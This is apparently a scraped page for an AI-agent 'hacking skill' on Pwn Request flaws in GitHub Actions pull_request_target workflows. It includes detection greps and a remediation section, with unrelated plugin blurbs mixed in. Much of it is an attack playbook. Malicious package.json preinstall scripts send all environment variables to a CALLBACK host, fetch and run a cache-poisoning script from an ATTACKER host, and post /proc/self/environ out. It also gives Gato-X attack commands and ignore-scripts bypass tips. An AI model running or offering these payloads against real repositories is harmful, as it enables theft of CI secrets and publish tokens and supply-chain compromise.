From meta
Use when hunting Pwn Request vulnerabilities where pull_request_target workflows checkout attacker-controlled PR code and execute it in a privileged context with access to repository secrets. Trigger on: "pwn request", "pull_request_target", "checkout PR head", "npm install in CI", "lifecycle scripts in CI", "preinstall script", "postinstall script", "package.json scripts CI", "npm ci ignore-scripts false", "actions/checkout ref pull request head sha", privileged workflow running PR code, "Gato-X", supply chain via PR lifecycle scripts.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
A "Pwn Request" occurs when a `pull_request_target` workflow — which runs in the context
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
A "Pwn Request" occurs when a pull_request_target workflow — which runs in the context
of the base repository with access to its secrets — explicitly checks out the PR
contributor's code and executes it (via npm install, make, build scripts, etc.).
pull_request_target was designed to safely access secrets for things like posting
comments on PRs from forks, but developers mistakenly combine it with a checkout of
the PR head SHA, collapsing the trust boundary. Any attacker who can open a PR can
now execute arbitrary code with the repository's GITHUB_TOKEN and all configured secrets.
The npm preinstall/postinstall lifecycle scripts are the most common execution vector —
they run automatically during npm install / npm ci with no additional flags required
unless --ignore-scripts is explicitly set.
on: pull_request_target trigger in a workflow fileactions/checkout step with ref: ${{ github.event.pull_request.head.sha }} or ref: ${{ github.head_ref }}npm install, npm ci, yarn, pnpm install--ignore-scripts=false explicitly set (overrides safe default) or --ignore-scripts absentpermissions: contents: write or secrets.* accessible in the same jobhashFiles('**/package.json') — attacker controls package.jsonpull_request_target workflows:
grep -rln 'pull_request_target' .github/workflows/
actions/checkout references PR head code:
grep -A5 'actions/checkout' .github/workflows/WORKFLOW.yml | grep 'head.sha\|head_ref'
npm install, yarn, pnpm, make, build scripts.--ignore-scripts is set. If absent or =false, lifecycle scripts execute.secrets.* references, environment names).package.json with payload in preinstall or postinstall.// Malicious package.json — preinstall exfiltrates all env vars
{
"name": "target-package",
"version": "1.0.0",
"scripts": {
"preinstall": "curl -sSfL https://CALLBACK/$(printenv | base64 -w0)"
}
}
// Stage 2: deploy Cacheract for cross-workflow cache poisoning
{
"scripts": {
"preinstall": "curl -sSfL https://ATTACKER/cacheract.js > /tmp/r.js && node /tmp/r.js"
}
}
// Targeting a specific build script (GraphQL-JS pattern)
{
"scripts": {
"build:npm": "node resources/build-npm.js && curl -sSfL https://ATTACKER/r.js > /tmp/r.js && node /tmp/r.js"
}
}
# Find pwn-request candidates at scale with Gato-X
gato-x enumerate --target ORG --type org
gato-x attack --target REPO --pwn-request
# Manual search across an org
gh search code 'pull_request_target' --owner ORG -l yaml | \
grep -l 'checkout' | xargs grep 'head.sha\|head_ref'
--ignore-scripts bypass: if set on npm ci but not on a subsequent npm install --prefer-offline, the cached (now poisoned) node_modules still executes — install scripts run on restorenpm ci --ignore-scripts is used, target the build script directly (npm run build) which may call attacker-controlled scriptsprepare script: runs on npm install and npm pack — often overlooked vs preinstall/postinstallworkflow_run chaining: if the pwn-request workflow uploads artifacts, a downstream workflow_run event may consume them with elevated permissionsScenario 1 — NPM publish token via preinstall (cross-fetch pattern)
Setup: pull_request_target workflow checks out PR head, runs npm install using a cache key derived from package.json hash. A separate release workflow restores the same cache key and runs npm publish with NPM_TOKEN.
Trigger: Attacker opens PR with preinstall: "node /tmp/cacheract.js" in package.json. Cacheract poisons the shared cache key.
Impact: Next release run restores poisoned cache, NPM_TOKEN exfiltrated. Attacker can publish malicious versions of the package to npm (20M weekly downloads).
Scenario 2 — Direct GITHUB_TOKEN theft
Setup: pull_request_target with permissions: contents: write checks out PR and runs npm ci.
Trigger: preinstall script runs curl -d @/proc/self/environ https://CALLBACK.
Impact: GITHUB_TOKEN (write scope) exfiltrated immediately. Attacker can push to protected branches, create releases, modify workflow files.
Scenario 3 — Composite action injection
Setup: Workflow calls uses: ./.github/actions/build with ref: ${{ github.event.pull_request.head.sha }}.
Trigger: Attacker's PR replaces action.yml with malicious steps.
Impact: Attacker's steps execute with the calling workflow's full permissions.
pull_request_target workflow that does NOT checkout the PR head (only base branch code) — safenpm ci --ignore-scripts with no subsequent install step — scripts cannot executeenvironment: with required reviewers — attacker's job won't get them# WRONG: pull_request_target + PR head checkout + npm install
on: pull_request_target
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install # executes attacker's preinstall
# CORRECT option A: separate untrusted build (pull_request) from privileged steps
on: pull_request # runs with read-only fork token, no secrets
steps:
- uses: actions/checkout@v4
- run: npm ci --ignore-scripts
# CORRECT option B: if pull_request_target is needed, never check out PR code
on: pull_request_target
steps:
- uses: actions/checkout@v4
# no ref: — checks out base branch only
- run: echo "Post comment only, no build"
npm ci --ignore-scripts in CI; run lifecycle scripts explicitly and auditedpull_request_target + checkout combinations[[github-actions-script-injection]] is the technique that fires once a pwn-request gets RCE — the preinstall script or build step is effectively an injection point for arbitrary shell commands. [[self-hosted-runner-poisoning]] dramatically amplifies pwn-request impact: code executing on a persistent self-hosted runner can access long-lived credentials, VM state, and infrastructure not reachable from ephemeral GitHub-hosted runners. After secrets are exfiltrated, [[github-actions-cache-poisoning]] can be used as a pivot to affect downstream publish workflows.